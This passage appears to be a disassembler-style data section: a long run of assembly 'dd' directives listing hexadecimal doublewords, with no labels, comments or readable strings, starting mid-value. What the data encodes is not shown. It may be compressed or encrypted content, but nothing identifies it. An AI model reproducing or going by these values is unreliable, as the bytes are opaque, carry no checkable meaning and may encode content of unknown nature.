6797419Ch dd 3225AFE1h, 2A85E3AFh, 6816F80Eh, 0C2605F45h, 13F819CEh dd 0EA3CE97Fh, 18F54890h, 1A674C29h, 80072D28h, 0B1A93F9h dd 0D3F776CBh, 0E1821176h, 56BFBD0Bh, 92E9065Eh, 31586437h dd 0E8D1000Ah, 8715E505h, 0B72D042Eh, 0C061C1CBh, 911E75C2h dd 0C77063B5h, 6C25082Ah, 0E2E91630h, 9572900Ch, 25637C76h dd 115D26Ah, 0D3DEB19h, 925E27E0h, 420C7394h, 0F2B1A18h dd 2978433Ah, 80D1C9Ah, 0C014041Ch, 1C26C0C5h, 4027285Ch dd 2C5B07D0h, 54B5B232h, 0AE4F2C88h, 407D5291h, 82C95311h dd 0A5DF65FDh, 0DCAF9A5Eh, 77FF8B35h, 92DCF705h, 0EA445F1Dh dd 0B5763A80h, 73349B5h, 83C61F78h, 0F63CFD30h, 6BBD83F9h dd 0A2725B2Dh, 0F0085571h, 0BA5E1607h, 38E99742h, 5FAAF244h dd 3C8E80FFh, 0C60F237h, 665ABC4Ch, 97F09758h, 0FA06C65Bh dd 4FF9F931h, 4129A25Fh, 6B72DDDCh, 0AC689E81h, 43D983Eh dd 0C0AF4996h, 4C457429h, 5C2A7441h, 68EEA0DDh, 1C5B5597h dd 79DA2A84h, 0FFAB055Eh, 0C95BFE23h, 0A52FBB98h, 0F82B76h dd 9206E9C4h, 295C5DBFh, 5AE5BE39h, 16A17FB0h, 0FCC987B7h dd 7BB14F69h, 0D02A5B65h, 0BE3EF7B1h, 0CC9F797Bh, 0B219D22Eh dd 0C209D1E7h, 0C80925E9h, 121F3D53h, 9591034h, 0AF54DFFEh dd 2501CF27h, 0F1A427E8h, 0D14BD7B9h, 7E0E0906h, 0A3761E7Fh dd 93F02C20h, 476A02EDh, 0D15037E9h, 0CFC6816h, 1CA247FDh dd 9DD21857h, 5D31007Eh, 8167BD55h, 0B2DEA2CEh, 37C464C1h dd 6A82E901h, 4A2C65E4h, 83A8D25Dh, 0F44DB09Eh, 94C84CCFh dd 0B481F933h, 357EBB58h, 3CEB0AF3h, 175EE9F2h, 85D79CA8h dd 10AFAC43h, 0A44A5AA9h, 0C441D26Bh, 74F72747h, 0E0541638h dd 607A3755h, 4AB0655Ah, 411B7D2Dh, 16E13978h, 75FBE4E5h dd 68C220ACh, 851D0F6Fh, 23925B4Fh, 0FD61CCEFh, 0FD94C65Bh dd 8508C1AAh, 0C1D754E0h, 515DE11h, 50B90109h, 0FA892E83h dd 0C5AA1841h, 0EC743058h, 0E388591Fh, 43C3C853h, 38C9E835h dd 40AAF4F2h, 0EB4C010Eh, 37DE045Ch, 0B7C469FDh, 9F587BB0h dd 6B4ECCF9h, 28287BE3h, 4CA7127Bh, 8C88BE52h, 0DF99AAE1h dd 0F56B1E59h, 0EEE9D730h, 0F7258B9Fh, 6295781Eh, 0AB364039h dd 9246B711h, 0D105BE08h, 0C753CB1Bh, 2D05722Dh, 2D2CDB4h dd 31088409h, 0F2D1520Ah, 0C83E162Eh, 7049EECAh, 5BD6408Fh dd 0A8D64F29h, 7931B767h, 9E400296h, 4C3F1505h, 2C047DC4h dd 0A001BC62h, 804FFC0Bh, 0C8433F2h, 361F1D86h, 11121A16h dd 398F36E9h, 0F9E90CB0h, 6E800AC0h, 0F5614EF3h, 705BDE88h dd 0D8BDC71Ah, 30EE202Fh, 0F7409774h, 0B3CB5FA3h, 5901933Bh dd 0EF07C73Eh, 11F94F3Bh, 2959FDE2h, 78136503h, 8850142Ah dd 532DBDDCh, 45DF6142h, 0B85C6687h, 0F19D46B2h, 0B59D6390h dd 5FC63B06h, 5D32E275h, 0FC4B18A4h, 2DE8F505h, 4870548Eh dd 736B0016h, 7FBD1048h, 501726D6h, 247A25C8h, 929D8679h dd 2F90DA69h, 0CE64555Ah, 0BB266E09h, 0D3A85703h, 5EBD2808h dd 0D5EDE977h, 98ECA552h, 0ABF40A89h, 15C28002h, 2CBC5CFEh dd 0F1AE08E6h, 29FF427h, 6D5D43EAh, 3A092FF4h, 0F61994D6h dd 0E8CE5EA0h, 562E8415h, 0FAD7C416h, 5D895A77h, 0C52D9747h dd 0C3F897BAh, 8CF487A2h, 9BF7C4Dh, 0FFE56F6h, 0CA4446D8h dd 0DB0112D2h, 64AE4E09h, 0F7459C40h, 57CF4FA6h, 4E25C33Fh dd 7B3455E1h, 0FDE044E2h, 33FD4B68h, 57501ECBh, 0C5100B8Eh dd 0F1A95F6Bh, 97EAFF00h, 4761E97Ah, 1029D997h, 61F15FA9h dd 850DF33Ah, 0CDABC942h, 0CCE32FB5h, 0B740203Dh, 0E7D06700h dd 0C0A8C780h, 0A1065BEFh, 3A7ED57Fh, 152833E0h, 0C221E9D1h dd 0E263F84Eh, 384525Ch, 5461D30h, 0A5FDFF52h, 0B6D215EDh dd 5EF01750h, 4A1862AAh, 8B7789E2h, 7208FC01h, 3334B455h dd 0ED1713BFh, 8FBD09A8h, 0D180F298h, 4E30E9DDh, 56CE21D3h dd 622255Ah, 2B18FE78h, 460C6129h, 1662D4Dh, 33105650h dd 70054EFh, 21AED59Fh, 1F32E9F7h, 60084ACDh, 3EB75322h dd 968080ACh, 0E7C0C7FEh, 6C2EE902h, 7D523C37h, 617B0169h dd 8B6C2C35h, 0D8255F02h, 5A89B4D7h, 0FA5A0EDEh, 90DADF08h dd 0A30D6D09h, 5A9D67Fh, 8040D0h, 0C11B5985h, 0FD4C0119h dd 29084010h, 928560F1h, 0C2E0F582h, 7D37F181h, 51E20A55h dd 0CEE3414Ch, 7F04B62Fh, 1BEE0502h, 46012568h, 0D4E5F932h dd 425E0898h, 757B72F6h, 97E9E9A8h, 1228D85Eh, 0ACE5D7B2h dd 0FD8B4A52h, 2A3D9D01h, 7CF4E941h, 2D5A16D1h, 0E8ED02F5h dd 0ECBE423Ah, 4AD68945h, 35667102h, 0D87E0C4Bh, 0AB417A4Eh dd 2D770364h, 2DCFC270h, 0E0098E65h, 0B65DBBABh, 4BE91231h dd 0B264EEA5h, 77393DC6h, 0E73420E2h, 5057AD1Fh, 0EE4049D3h dd 80D1B252h, 3BCB73F2h, 0EA007ACAh, 0E9D4287Ch, 0C4C6E605h dd 6144F9F6h, 5A3CD3D2h, 0FC4EC76Ah, 58014EA0h, 0E9B362EAh dd 17C8C0E2h, 391E55F3h, 6D31AA1h, 0BD4E51B8h, 0C1618446h dd 4AB031BFh, 0D55E0253h, 0F799C616h, 0B73419C0h, 2473B840h dd 170F5397h, 0D1160021h, 144C68EBh, 2662ED96h, 558BAB93h dd 0E1E06404h, 0EB321293h, 54CBACF5h, 9407561h, 6B41E93Fh dd 9702A0F2h, 1657006h, 2FF0E2EEh, 0B081BD93h, 83124661h dd 66B88545h, 181F6750h, 6011F25Eh, 353067F0h, 0B130C70h dd 0A154F7Dh, 3408C35Dh, 0A914160Ch, 8AEA9231h, 0C3C612E3h dd 1338B0A4h, 11E3625h, 4C60AA24h, 101A4A3Fh, 680AFE6Eh dd 8EC86231h, 0A2136AD6h, 3F8590FCh, 2A71721h, 0CE807CC5h dd 4076A20Ch, 5C37E92Ah, 0EBDE61F4h, 9D13F0A5h, 8E4212AEh dd 0CB414E4Ch, 0EF6C978Fh, 0DB5D844Dh, 0C859912Ch, 137C01C4h dd 4818AD8h, 2F0F38C1h, 0AE50AB6Eh, 8D5B2408h, 5904B110h dd 0FA63A068h, 2512DA9Bh, 9358B675h, 76A28A56h, 2B6468C3h dd 18564510h, 0FBCA0112h dd 4E8EBBCCh, 0D31FB85Eh, 97FD26AEh, 0DE37AC97h, 1D4FE83Eh dd 9CE94B15h, 1AF52D2Ah, 0F3F15589h, 16FE4F16h, 2D2DAE1Ah dd 9F083CFCh, 0CF79820h, 0DEE811D9h, 813AF497h, 9F5F468Dh dd 0DDE00731h, 149CD87h, 595D5155h, 8006E5C1h, 0FE219440h dd 4E10E915h, 0CBF6B44Fh, 5441497h, 0B168E3D1h, 785A352h dd 4446F0B9h, 7217687Bh, 16ED8359h, 0B681BF1Dh, 3D9758DFh dd 1A52FAC6h, 0E9F021BCh, 43820174h, 0A3408BF7h, 0F1BBD954h dd 82D2F32Fh, 73534168h, 87C42D9Dh, 0E8F3BC2Eh, 0CF2077BBh dd 0E876E97h, 0FA0585D3h, 412A993Ch, 53E416Fh, 90BB0012h dd 0FC9132F3h, 0E09A914h, 0B82FC289h, 0CE715F8Ah, 88CF6ADh dd 0B8036EE5h, 0D0C16B36h, 134680Dh, 142D01EAh, 0D71AB37Ch dd 393803D0h, 0A13BE916h, 81C5E1FDh, 80ABCCDFh, 6662C577h dd 0DDD14B60h, 0F0401444h, 0AC7ABB5Fh, 64060820h, 63ED8003h dd 0F7059AC0h, 4D835643h, 0BD0E6711h, 0EEA1894Eh, 0A0D98B42h dd 2439AB6Fh, 0DDF85699h, 40175D79h, 11A0BD00h, 0EE892B9Ch dd 8BF5BB7h, 880B6563h, 0F1FE3BCFh, 0BA28BEF5h, 5A24558Fh dd 852D90B8h, 0A0B89061h, 5394CF6h, 0CD211DD2h, 0EB7B86CDh dd 2E71807Ah, 7E4CFA65h, 111B0571h, 96FC2CECh, 0A96BD655h dd 0B3EEE474h, 7A688268h, 0C0987D62h, 0C082F5DDh, 0BF5FF8F8h dd 243FB9D9h, 2D819BEAh, 0B51226Fh, 895AEF9Fh, 0D045DECEh dd 0D829933Eh, 2E2861BEh, 0FB738292h, 7DD9095Fh, 5E951816h dd 77C8FAA0h, 3D39537Dh, 2EF8CA16h, 0A0E16884h, 0F6B589B3h dd 0D9BE58F4h, 308B0B00h, 0D26318B9h, 0F101271Eh, 5A2785C5h dd 7EF309C9h, 3E80035Ah, 0CB3C1CB9h, 942DB2B8h, 0E4A666F6h dd 726B9CD4h, 0D451B924h, 19E500BBh, 8738A535h, 0F755EA10h dd 810E5D30h, 0CA16E3F2h, 0AC4C75Ah, 0F89162AAh, 5BAD2A71h dd 59056982h, 0BAFD9022h, 5C252E60h, 3E4B7C3Ah, 3CED59FEh dd 6035DED8h, 41224017h, 70260A07h, 0B85018F0h, 887203FCh dd 1F25480Fh, 0E9134090h, 88E16B2Eh, 460FD3A8h, 8698C69Fh dd 3B78C2DBh, 71974840h, 0EB4040E1h, 1CED61BBh, 36E50B7h dd 76236935h, 0D1C0F732h, 8327E9E8h, 36C2C844h, 30D33D27h dd 44F24798h, 0EBE4C588h, 25C6594Ch, 6D2555D8h, 6477E00Ch dd 820214C9h, 7158BFBCh, 0BBB739B0h, 5922C244h, 5F347E4Ch dd 0A5A81AFDh, 3F3BF84Fh, 0E3245F78h, 0A038A2EFh, 0BADC23E9h dd 0EF554E1Ah, 36DF9D27h, 84B709B8h, 41FE1A90h, 3D67DB10h dd 74CB0110h, 8D207041h, 0D6360F4h, 0B23FB353h, 0DA28081Fh dd 76C32D49h, 0FEAFD80Eh, 9F0459BFh, 0A62BE42Eh, 5F080BCDh dd 576434C8h, 0E9036105h, 9A44D502h, 55A36CB9h, 7FC52B1Fh dd 1233B25Bh, 0E7A80710h, 0C28076C0h, 0EA752823h, 3059D5E5h dd 7970B2F5h, 0F0E9D00Ah, 0DD988084h, 0F103FACh, 0D5876E63h dd 4508D24Ch, 501CDFAh, 0E90BA353h, 0C7A5F8ACh, 4C1357F1h dd 0D9A14E13h, 80409A60h, 9B0FEE81h, 0C92B4DF8h, 810BF0F7h dd 0BD0067EDh, 0FD507EBEh, 0B909C7ECh, 0DE4A1016h, 8503928h dd 0FA21255Dh, 0C500A3D4h, 0E973282Ah, 2053B4C8h, 57BCB5B3h dd 243444B5h, 0AFCD1927h, 0E76F2055h, 0C769925Eh, 26B6DD0Ch dd 8F7FA7D2h, 561256B3h, 0AC05D4A2h, 353A4E68h, 0CE5F88C8h dd 0EC5F1440h, 2EB9608Ch, 0B03951BEh, 0BCBD5002h, 0EA2E2617h dd 15865FADh, 9B2D5C4Eh, 8739A189h, 6802048Bh, 0DE27975Eh dd 6C27421Fh, 582A3A7Fh, 9444E74Ah, 49EB9E00h, 5FE97864h dd 7E26B553h, 0A14848A7h, 564F4F20h, 815E7500h, 41022CEh dd 0F9682C1Ch, 9430EA55h, 2EF85C5Bh, 16A44548h, 8EE5901Eh dd 4B7B1130h, 13BD434Eh, 3D8C723Ch, 9D225D40h, 0D2B2513h dd 61DE681h, 826B753Bh, 935E3BCEh, 0D4575509h, 4DCE10C4h dd 50AD750h, 34BB8BB8h, 0A0EB27FCh, 3BFDD117h, 8410328Ah dd 0C2B05EC0h, 0A0C65B29h, 9311F67h, 0BAE8D210h, 0A2D63007h dd 49F4C18Ch, 0F70F809Fh, 12FB87DFh, 0CC3F4668h, 0F940CF93h dd 0EE832D5Dh, 0C42F16C7h, 63574843h, 6D122Eh, 0C8F2BF3Eh dd 124C1FFh, 0A22F4BCFh, 0CB1AE9ADh, 0D7307AF9h, 0FC841003h dd 925B6A04h, 251C8178h, 1AF056Fh, 0EF033665h, 1686300Ch dd 4A72C6BFh, 0BF881255h, 0F35A80DAh, 475CCC9Eh, 25563868h dd 0EE2DFF5Ah, 5EFA282Fh, 0E9D06EB6h, 64F49D13h, 0A487DB8Bh dd 0FCBCE6E5h, 0DBA92C5Fh, 9D32C36Ah, 477A8620h, 5373822Dh dd 74BA5B1h, 96AC67FBh, 0CCF2CB22h, 4BD9C395h, 9AFBB399h dd 17C0FD2Ah, 2949C50Fh, 0FC4FCB9Ch, 0C566A7A9h, 984F7D90h dd 0C8B78F04h, 1AA96887h, 460B5DBEh, 0AE418F05h, 90C0BCC3h dd 0C489BF63h, 0FCC2212Eh, 98ABE405h, 5E0BC2F0h, 0DC0B8821h dd 0F908A09Eh, 3DF6CB3Bh, 0E82BC151h, 4E801858h, 1746C34Bh dd 167E05Ch, 0C863190Dh, 0D6188E22h, 5E370932h, 0C4155828h dd 1EB8080h, 0E5B050C3h, 312CD8F6h, 4B58E527h, 0F38002DDh dd 63DD2879h, 0FE811649h, 884701CBh, 0D1D6F6DEh, 8EE0E2F3h dd 0C7B52370h, 6BAD26C6h, 98399C5Fh, 2C950505h, 8201507Ah dd 88BED6Ah, 177F540Bh, 81B9A3CCh, 0BA4326C5h, 62F56B1Ch dd 0D9FB0805h, 949D00B9h, 3E275309h, 0E121FF51h, 6A4BC068h dd 282D632Ch, 0EA847CACh, 296B17B2h, 8F04AF0Ch, 0D78C9BCEh dd 5B7F12C9h, 0D56B216Fh, 79F7C28Eh, 8F034918h, 0EF84D7AEh dd 0B937FE6h, 2314D065h, 57766297h, 0E9A782F3h, 0FD658523h dd 0FC99D20h, 29964537h, 0AFE44E84h, 7DB4DA37h, 4C35B017h dd 2E68B140h, 0C5FB4E1Ah, 0B104D0A6h, 0C10E80A8h, 0BFC9FEA4h dd 0C828F646h, 0FCDB20CCh, 0B54BE5F4h, 0D4B722FFh, 0BD07CAF8h dd 266831B6h, 962173DEh, 3720295Bh, 28E04046h, 504D801h dd 9C68032Ch, 794F612Fh, 1EAB045Ah, 9CA3C5Eh, 0A250B199h dd 6C2CA026h, 0BA99E66Fh, 68573E20h, 65394789h, 4BB0688Fh dd 46D1C0C1h, 3D35B800h, 0F7475100h, 17BB05D8h, 85775E65h dd 0E0D0C46Ch, 83B05200h, 4BDE226h, 290B8B7Ah, 0F40BD740h dd 8787E3DEh, 8942EABBh, 0DA7961CAh, 0A405BF72h, 0FA1E0F5Bh dd 8C6520Ah, 9AFC5F15h, 3884661Ah, 0FE4E409Ch, 222F1B79h dd 93022C4Fh, 93315741h, 7AC4650Ah, 48140EFCh, 558F1D8Fh dd 73298349h, 84BB6575h, 0D7835AE9h, 0A6AE720h, 0C09613FCh dd 4F626860h, 58189C00h, 0A3258D0Dh, 0FDE92F23h, 0D3EB5CA0h dd 5290C645h, 0A8711E20h, 0CEEF33AFh, 0C24CD09Dh, 0D248F708h dd 0C49E2DDAh, 55E3B040h, 6B78CF5Dh, 0AD18564Ch, 15C19759h dd 0DD4662BFh, 0D75AA1E8h, 47C2BBBCh, 0F1E65708h, 0F19DD6F4h dd 409E974Bh, 7525B8E8h, 0A9904129h, 0F17A6341h, 72FEE0FCh dd 0C85A10CAh, 387D84CFh, 0B4BCB100h, 0CC0A30A6h, 0C9E28859h dd 9015B10h, 210D5AD0h, 2105E53Ah, 0BB1DC43h, 631F6627h dd 98C2ADC3h, 0E7A17FC3h, 38AE6FE9h, 0B75AE6A7h, 0C2008D5Ah dd 780C17CAh, 194BBD55h, 0B0582A69h, 139D2BF3h, 137EDDEDh dd 0C969B923h, 9A70152h, 708245B8h, 7B9B5CC1h, 6B2EEEC1h dd 205539h, 701883F7h, 80CF264h, 2B60F1C1h, 28C216B6h dd 72913F1h, 3550CE32h, 1AC7AEF4h, 0A12E82A9h, 0D7F600E5h dd 8017FD86h, 9CF806EDh, 8694CB2h, 0E55E3A2Dh, 0E7C5D792h dd 137975BDh, 0CD4CC40Dh, 84443B10h, 660C85BEh, 6948FC2Ah dd 0E3BD2D89h, 9F83858Bh dd 4806C987h, 0E5A0466Ah, 17AADA02h, 206396DDh, 0BA486C9Ah dd 8407C409h, 12A129EEh, 866822C0h, 27396ABDh, 0CD810073h dd 28ED49CFh, 920EC04Dh, 0E938B405h, 578D6A64h, 0F45F90F0h dd 0EDFA4E2Fh, 7D258D29h, 29C2C6EFh, 95F2B8DAh, 0E85A4E52h dd 7F827C8Ch, 96E599C2h, 62C3AFBBh, 27DDD082h, 21911709h dd 65A13BE3h, 864A2C6Fh, 0F8EDCF4Bh, 0DFC188C7h, 0C313FED6h dd 0E62BCDD9h, 3C0BD36Ch, 2C7BB0A4h, 534E80DEh, 4731D6C0h dd 0E2BB4B3Bh, 8C152757h, 0E025DD76h, 0B5C6A01Fh, 0F005F7C8h dd 0CD91E16h, 18EEDC0Ch, 0DF681856h, 0E76B6D33h, 9F51F99Fh dd 8A7CC93h, 0BC3D41Fh, 2005C380h, 37983906h, 2EE39E59h dd 910B9C54h, 7927E410h, 0DF162F5Dh, 0CD6601DCh, 6F5095E3h dd 505BD22h, 893B51F1h, 48A1BC06h, 0B7A21065h, 6917573Bh dd 0D766F92Fh, 0FE1657FFh, 0E909A52Ah, 91751180h, 5802AFAAh dd 3089407Fh, 0F76F167Eh, 0D6AD11D9h, 5A02B84Ah, 0B6D141FAh dd 87568728h, 487C500Ch, 84027DCBh, 0CF7EAB68h, 5676016Fh dd 286F313Dh, 44002DB8h, 547E51Ah, 518075F9h, 8FF2D25Ch dd 5A119407h, 0DE1048E6h, 805A0503h, 0C0FB7DEFh, 2895F72Bh dd 0DB44F84Bh, 8BE4C723h, 69011E3Ch, 0D292C92Bh, 0FD04331Ah dd 192DAB59h, 64B1D143h, 0ED31DA1Bh, 3BC9C52Fh, 825E2549h dd 4690363h, 5180E064h, 4CB3B140h, 210984D8h, 8209CEFEh dd 0D3F558C2h, 907F4995h, 2C32E447h, 13064039h, 7FEBF19Dh dd 9F56222Ch, 89467E56h, 0D8DF206Ah, 70B5058h, 20D24F3Ch dd 57B743C2h, 9AA6B36Dh, 0A389FF65h, 80020520h, 20862FCBh dd 0F6F8B0DEh, 84D6584Dh, 47A3E1EFh, 0CFBC10h, 3A1DBABDh dd 1FD1451Ch, 0D6FD87EDh, 73DC48Dh, 9780B69Bh, 0C9F13330h dd 0F69A060Bh, 1611D6D9h, 84F6F9EAh, 4316ED8Dh, 87709DEBh dd 0C9A3E610h, 4A4FB800h, 2D351B7Dh, 14C5B16h, 58D38BABh dd 1E6901C6h, 452D212Fh, 0EB5358D8h, 4B16F060h, 2AC7F15Bh dd 9431A900h, 4B96685Eh, 53892243h, 1D5DC380h, 815B3828h dd 1BDB1C00h, 559CB89h, 0FEA1E7BDh, 1000BE3Ch, 6FC5E581h dd 4D352541h, 2F56E556h, 9F8AB1E9h, 160CC258h, 0F70CD0C5h dd 5ACACDAh, 0C16D4609h, 4B78F9E2h, 7FC7A462h, 6655FEE2h dd 0D6F72616h, 36A03E39h, 49206848h, 59A680D2h, 481758Fh dd 0F50AB3E1h, 6F3C115h, 0D5D283h, 0AB1030F9h, 0B2D0259h dd 296BAC7Dh, 0FEE2FCE3h, 8EF0A7C6h, 0B3BA039Dh, 0F500F57Fh dd 59C8885Bh, 0CC01AFEh, 77C4588Eh, 0CDD3ED01h, 0EA019920h dd 0FD30996Bh, 0A7BC3AC2h, 2FE6E9A1h, 9CBEBB00h, 0F4114638h dd 0FDCE5526h, 6C2C58D9h, 1062542Ch, 0A45C2D9Ch, 13AE9900h dd 36D8EFE5h, 29AF405Eh, 0F0F0F776h, 0CC988954h, 0EC8F6C5Ah dd 0AD3E5A41h, 13B2B485h, 1FCA721Bh, 0C63350B0h, 0A8293F7Bh dd 754BFB15h, 0F7057814h, 6BC268E1h, 0E83DF744h, 98588BAh dd 6E517782h, 9FC58C12h, 0D24FB6BEh, 5766480Fh, 530135E2h dd 0B91380BBh, 4FAAF863h, 0E0A14EACh, 0D6F12050h, 0F2504081h dd 7D04C134h, 5B90F4A0h, 0DE3CFBF3h, 0E8AE41A7h, 4DEDFF7h dd 71873689h, 0DF05A5DEh, 0BD91D02Bh, 44017A3Fh, 5DEF0933h dd 0E26B534Fh, 9890508Eh, 733B0616h, 1852C4FFh, 67E91C08h dd 18B94E5Ch, 3532F852h, 0F81B5AC9h, 32E64A1Eh, 21E29F78h dd 1A17E8C0h, 60910CC1h, 9E3C3D78h, 744DC0A4h, 6B64EA44h dd 49FF8C66h, 4B7A58A9h, 667924FBh, 4C28BBFh, 5516D306h dd 1797D8DCh, 6671EEC7h, 31C8F901h, 0DD78FCE9h, 0FF9683F3h dd 73DAAB8Fh, 0D74F9572h, 54E045BBh, 19A6BE5Dh, 0E8A71F85h dd 0ADDD849Ah, 66CF0B1Ch, 0B1004D9Ah, 0D12C5BF8h, 5FFF589Fh dd 294B8293h, 0FC4F5C2h, 0E19A9BF8h, 0EFCE2AA0h, 516B1ABEh dd 9F6A778h, 0C63E2808h, 0F895819Dh, 0F6A1205Ch, 19C3C3B0h dd 7BC12959h, 6E1025DFh, 812DC5CCh, 12C872EFh, 0F3D02BE9h dd 298DD2D9h, 0C479E86Bh, 96EA9D68h, 54BF96D9h, 0A0027A09h dd 91511DC3h, 2E576804h, 887271FBh, 5C88A7B6h, 0B4B212DBh dd 41FECEAAh, 3544C72Ch, 5F3B4002h, 2BB66030h, 0C958BF36h dd 0AE5EC100h, 0CE298A8Ch, 0F7312559h, 55490874h, 0FB71D710h dd 0AEC8525Bh, 0F10CA46Ch, 0AA2F0E10h, 0A6FC145Fh, 7537E9F0h dd 0AAAB94BFh, 0EA675722h, 5F59CD09h, 690B0365h, 0F64D9437h dd 16D96059h, 3D673558h, 0D2B88972h, 78CE9644h, 0B7C42856h dd 0C2801799h, 7024E844h, 846CFD4Ch, 6804EF48h, 96C9E182h dd 0E7D0C334h, 600F7B9Eh, 597D0C64h, 0E9177C16h, 5B407794h dd 64AB680Ch, 0A48E09BAh, 0ADF11274h, 0BD19E907h, 0E9EE5F0Bh dd 3C4E42FAh, 0CBECD6DDh, 0CFE8B756h, 91C574A3h, 62ADE2B0h dd 74A027D6h, 3BB0079h, 5E65AE0Eh, 7CD7A709h, 0F36800E9h dd 56F1250Fh, 0D697E8C5h, 0B7006FBCh, 0B90DAC38h, 4320B660h dd 20639854h, 0BF12B2D3h, 62C167BEh, 81820503h, 0E79D12B3h dd 2E515161h, 737908D9h, 0BC7B6017h, 302FA1B9h, 2B308C2h dd 3EE86477h, 0B8F2BD63h, 2DC14457h, 17FCABB3h, 0C282DC4Bh dd 0E7F60E59h, 5BDF6878h, 4E6E317Eh, 28CB81C7h, 473CAC27h dd 13304620h, 80B244Ah, 0D824FD82h, 2842DE1Ch, 0CA5356B3h dd 3DA85DD9h, 0DCB7098Bh, 659D6EDDh, 0BCC1EEDDh, 12F294C0h dd 62E631A1h, 10535130h, 374A8526h, 7009DB1h, 0B5D60159h dd 0E910AFE6h, 5F7E1C9Ch, 24D8A688h, 482D10C0h, 1F2C95B0h dd 7AF8282Eh, 3F847848h, 0BD65C8FCh, 557A5E13h, 799D7600h dd 7AE92AE2h, 5A60C421h, 186824Eh, 0F480C090h, 1F038C91h dd 0D961EC77h, 0D5829EEEh, 309521B0h, 0F291EB77h, 0D866556Ah dd 0CABD5506h, 6748275h, 0E92880C5h, 0AE0B0C32h, 800F0E3Fh dd 0BA1D2DE4h, 0E4D6056h, 25737583h, 628C5EBFh, 6E553CB3h dd 875154A2h, 69BD2768h, 392831DBh, 7F2CEA17h, 528082BBh dd 68179B70h, 0ABA33876h, 0F476E85Ah, 18FF0925h, 61E95650h dd 0BD227D00h, 40BA2468h, 58C52531h, 4F04DE78h, 5561651Dh dd 70B144AEh, 1CA921h, 0ADE5999h, 2DAF681h, 0E94D8A4Ch dd 47C90FADh, 5268C432h, 4636699Dh, 2D7BA97Bh, 0B867048h dd 861CED18h, 52583D80h, 4500ADBAh, 0F2817101h, 4880CA03h dd 26201CFDh, 5ED752B5h, 962DAC16h, 4AF0B109h, 0F1088059h dd 906F7043h, 8BE72D71h, 0BBACC87Bh, 50ED1E12h, 0AA5F0C05h dd 712EAD5h, 528BCBAFh, 5FAC1241h, 0C0D26ABDh, 4B4C7354h dd 382F0A90h, 0B54F17Ah, 0E3F11448h, 0E0165712h, 0BBB85141h dd 5E07350h, 0DA280009h, 31060D70h, 0E9EA518Ah, 4374B7E0h dd 98C2CF27h, 9C4B6A43h, 4F8460F3h, 94A165A9h, 6C050090h dd 7CB22729h, 0C10929D3h, 0BD8D2ADh, 48F2733Bh, 80BF392h dd 0E8AF96D9h, 62116967h, 1DA49435h, 5F9F8DC5h, 0F9C03A4Ch dd 6F5A73D0h, 0DEAAF5C6h, 805DA589h, 2A600962h, 92C4B749h dd 62F0D99Dh, 0DD1808Ah, 0E856501Eh, 0C409185Fh, 2E1EFFC7h dd 0DD3BE917h, 0D3EF3549h, 0FCDABCD8h, 0C5EBF483h, 6F98AEBCh dd 0C629D0EBh, 60297127h, 5D8BA155h, 0E092F201h, 0E155C9B4h dd 26D9FEFBh, 9ACBD1E2h, 75EE604Eh, 0B47BBD2Fh, 12E9A9B0h dd 0B1EA9DA8h, 6E5D7D40h, 2106BA12h, 527C0EFh, 509DF808h dd 2BEF3F49h, 0B1293712h, 13080528h, 4A171886h, 741275BAh dd 0B3001582h, 66B618AFh dd 161F4BE9h, 0C0E3BD54h, 0F78772Eh, 1862FBE9h, 2738A559h dd 0EB0A6417h, 0A21D0D24h, 86A1ECD6h, 0D53AB62Bh, 0E2582F0Eh dd 0F4205558h, 4D3A358Fh, 2D37534Ch, 4011D6F3h, 38D86850h dd 581C1E00h, 1847E42Dh, 540766Dh, 0AF05F0D5h, 491DEB50h dd 6B6A5C85h, 7026BF1h, 50CCC058h, 34025B8Fh, 5A04AAE6h dd 1307E2h, 4649F5E5h, 5B5E027Ah, 0E3E523BAh, 0F895D9B6h dd 7FCE097Ch, 0EC021B48h, 0BAF6E23Ch, 4459D2F2h, 40BD01FBh dd 170E46ECh, 0FB587BC3h, 0F47F6A2Dh, 0F5410ED0h, 0EF40756Ch dd 6EE604ADh, 99EE010Ch, 7443411Eh, 63DD7ABBh, 2338CEEDh dd 0D204E95Eh, 0CC8EC9BEh, 185F1B68h, 51C56AE9h, 73CCABA7h dd 42F6A028h, 9BEB5029h, 0EF20ACBh, 0EE50C6Ch, 11024107h dd 0D64DD989h, 0F416680Bh, 6275C9C8h, 95C5D578h, 0E12AD1AFh dd 2A4DE368h, 74EED8h, 0B9193E32h, 7D90AEADh, 58C12900h dd 0A7685753h, 5F8A286Fh, 61A42094h, 0DDD4BA04h, 1A81954Fh dd 28D14882h, 9736970h, 29143757h, 801A8C2h, 2A785FE9h dd 34D96BDDh, 3F41997Bh, 0E9B04DFDh, 26955D26h, 0BBEC1CAh dd 3735607Eh, 82409304h, 0ADF6BD86h, 20495C2Dh, 74E139FEh dd 1B125D48h, 149D7DFh, 6E1DD265h, 0D05C1FCh, 823C8279h dd 457DD83Ah, 29E2A96Ah, 25625EAh, 299F10A0h, 687AB019h dd 30235AE6h, 9E308A9Eh, 3BFBF2B0h, 3E5335C8h, 0DDBEF3B3h dd 8B0A3113h, 68559828h, 6AFEA55h, 65E9593Fh, 0D3B53F41h dd 0D2B80059h, 0E9279D30h, 83CC6B69h, 0C587D534h, 0D6B04E3h dd 582C6877h, 467AB5C1h, 7CC0122h, 0CAA3C61h, 5E86FF31h dd 8F275095h, 0A7D3C047h, 95999F18h, 46136E10h, 68CA70BBh dd 0F99A293Ah, 4BD25B5Eh, 6FA97FEDh, 0FE556AA7h, 0F1716F0Bh dd 68E55167h, 1DFE6CD4h, 8FC0C20Bh, 63D0936Ch, 2516B03Ah dd 249EF01Ah, 6F457C5Dh, 0AD9F3904h, 151E0081h, 0EA875FDAh dd 0E906C24Dh, 0F17DB46Eh, 0E5F569DAh, 12540980h, 68412674h dd 0DF8B5F8Bh, 8A745A1Bh, 0B6250880h, 0FA4B1F69h, 0E5B1AA40h dd 0C22546h, 8906F5Fh, 5600A90Dh, 490EBB53h, 0FC244AB1h dd 2164D63h, 366E43F3h, 28878144h, 0FABA3D71h, 919003A0h dd 232FF11Ch, 0B51C32D6h, 3C6B12BFh, 6946F80h, 0B8265AA3h dd 0B832607Ch, 2A146BEh, 20973507h, 5D743EF4h, 9FC2913h dd 55661474h, 0AF10DD39h, 12953B65h, 87348499h, 0D82FF2A1h dd 0BAB5D65Dh, 7DC4D5F8h, 0B05A0190h, 56376CFEh, 969EFC9Fh dd 80554313h, 0E4C29BEFh, 0A22C68D6h, 0B549A458h, 394F0AE6h dd 27BF3095h, 8F22B2C8h, 3302C768h, 0BBC164ABh, 0EE916F4Ch dd 346936DEh, 26CBF493h, 0FF377142h, 6D79B303h, 